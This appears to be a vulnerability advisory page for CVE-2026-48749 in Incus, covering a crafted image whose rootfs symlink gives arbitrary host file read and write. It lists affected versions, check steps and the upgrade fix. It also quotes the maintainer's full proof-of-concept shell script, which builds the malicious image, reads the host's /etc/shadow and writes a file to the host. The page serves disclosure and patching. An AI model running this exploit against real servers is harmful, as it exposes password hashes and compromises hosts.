---
id: "CVE-2026-48749"
page: "https://infrastack.ai/live/CVE-2026-48749"
kind: "vulnerability"
aliases: ["CVE-2026-48749", "GHSA-2q3f-q5pq-g8wv"]
title: "Incus has an arbitrary file read+write on host via rootfs/ symlink in malicious image"
severity: "critical"
cvss: 9.9
epss: 0.00731
exploited: false
status: "open"
category: "infrastructure"
products: [{"name": "github.com/lxc/incus/v7/cmd/incusd", "fixed": ["7.2.0"], "affected": "< 7.2.0", "ecosystem": "go"}]
ecosystems: ["go"]
tags: ["containers", "cwe-73", "incus", "infrastructure", "linux", "self-hosted"]
not_affected_if: ["fixed-version", "trusted-images-only"]
published_at: "2026-06-26T18:31:21+00:00"
first_seen_at: "2026-11-05T23:23:37+00:00"
updated_at: "2026-11-05T23:24:40+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-2q3f-q5pq-g8wv", "first_seen_at": "2026-11-05T23:23:37+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48749", "first_seen_at": "2026-11-05T23:48:40+00:00"}]
exploit_sources: [{"type": "epss", "score": 0.00731, "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-48749"}]
---

# Incus has an arbitrary file read+write on host via rootfs/ symlink in malicious image

Link for people: https://infrastack.ai/live/CVE-2026-48749 (this .md is for agents)

A crafted Incus image with a duplicate top-level rootfs symlink pointing to / lets an attacker reach the host filesystem through the stopped-container file API. The attacker can read files such as /etc/shadow and create files on the host with root privileges, possibly leading to command execution.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- go:github.com/lxc/incus/v7/cmd/incusd affected < 7.2.0 fixed 7.2.0

## How to check

- Run `incus version` and compare against the fixed version.
- Check whether untrusted or third-party images are imported into the Incus server with `incus image list`.

## Fix

- Incus (go:github.com/lxc/incus/v7/cmd/incusd): upgrade to `7.2.0` or later.

## Timeline

- 2026-11-05T23:23:37+00:00 ghsa https://github.com/advisories/GHSA-2q3f-q5pq-g8wv
- 2026-11-05T23:48:40+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-48749

## Documents

- [advisory] Maintainer's advisory: api.github.com https://api.github.com/repos/lxc/incus/security-advisories/GHSA-2q3f-q5pq-g8wv
- [advisory] Maintainer's advisory: github.com https://github.com/lxc/incus/security/advisories/GHSA-2q3f-q5pq-g8wv

## From the sources

### Summary

A specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.


### Details

Incus validates an image as soon as it sees a normal `metadata.yaml` and a `rootfs/` entry, but full extraction can later process a duplicate top-level `rootfs` symlink. Later, the stopped-container file API opens `d.RootfsPath()` and passes that file descriptor to `forkfile`, which chroots to it.

```
metadata.yaml
rootfs/
rootfs -> /
```

In practice, this allows a malicious actor to access the host's filesystem with root privileges.


### PoC

Below, we map the container's rootfs to `/` on the host, but it can be mapped anywhere. We then retrieve the host's `/etc/shadow` file and create a file in `/`.

```
#!/bin/sh
set -eu

tmpdir=$(mktemp -d)
cleanup() {
    rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP

mkdir -p "${tmpdir}/img/rootfs"
cat<<__EOF__>"${tmpdir}/img/metadata.yaml"
architecture: x86_64
creation_date: 1
properties:
  description: PoC rootfs symlink host afrw
__EOF__

cd "${tmpdir}/img"
tar --owner=0 --group=0 -f- -c * >../afrw-rootfs-symlink.tar

# inject rootfs symlink
rmdir rootfs
ln -s / rootfs
tar --owner=0 --group=0 -f ../afrw-rootfs-symlink.tar --append rootfs


incus image import ../afrw-rootfs-symlink.tar --alias afrw-rootfs-symlink
incus init afrw-rootfs-symlink afrw-rootfs-symlink


# read
incus file pull afrw-rootfs-symlink/etc/shadow "${tmpdir}/shadow"
cat "${tmpdir}/shadow"

# write
printf 'afrw-rootfs-symlink\n' >"${tmpdir}/afrw-rootfs-symlink"
incus file push "${tmpdir}/afrw-rootfs-symlink" afrw-rootfs-symlink/
```

### Impact

Arbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.

---

_Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai_
